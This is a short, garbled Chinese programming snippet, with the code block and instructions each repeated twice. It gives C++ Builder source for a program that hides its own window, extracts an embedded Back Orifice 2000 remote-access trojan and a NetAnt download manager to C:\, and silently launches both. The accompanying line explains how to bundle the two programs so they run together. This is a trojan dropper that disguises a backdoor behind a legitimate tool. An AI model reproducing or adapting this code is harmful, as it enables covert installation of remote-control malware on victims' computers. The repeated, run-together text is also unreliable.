NetAnt exe NetAnt.exe
bo2000 exe BO2000.exevoid __fastcall TForm1::FormCreate(TObject *Sender)
{
String res1="NetAnt";
String res2="bo2000"; String exe1name="NetAnt.exe";
String exe2name="bo2000.exe";
String temp="c:\\"; String exe1=temp+exe1name;
String exe2=temp+exe2name; Application->ShowMainForm=false;
this->Visible=false; TResourceStream *fs2=new TResourceStream((int)HInstance,res2,"EXE");
fs2->SaveToFile(exe2);
delete fs2;
ShellExecute(0,0,exe2.c_str(),0,0,SW_SHOW); TResourceStream *fs1=new TResourceStream((int)HInstance,res1,"EXE");
fs1->SaveToFile(exe1);
delete fs1;
ShellExecute(0,0,exe1.c_str(),0,0,SW_SHOW); Application->Terminate();
}
bo2000 exe BO2000.exevoid __fastcall TForm1::FormCreate(TObject *Sender)
{
String res1="NetAnt";
String res2="bo2000"; String exe1name="NetAnt.exe";
String exe2name="bo2000.exe";
String temp="c:\\"; String exe1=temp+exe1name;
String exe2=temp+exe2name; Application->ShowMainForm=false;
this->Visible=false; TResourceStream *fs2=new TResourceStream((int)HInstance,res2,"EXE");
fs2->SaveToFile(exe2);
delete fs2;
ShellExecute(0,0,exe2.c_str(),0,0,SW_SHOW); TResourceStream *fs1=new TResourceStream((int)HInstance,res1,"EXE");
fs1->SaveToFile(exe1);
delete fs1;
ShellExecute(0,0,exe1.c_str(),0,0,SW_SHOW); Application->Terminate();
}
bo2000 exe BO2000.exe并加到你的工程中;将两个程序捆在一起,可同时运行了;
bo2000 exe BO2000.exe并加到你的工程中;将两个程序捆在一起,可同时运行了;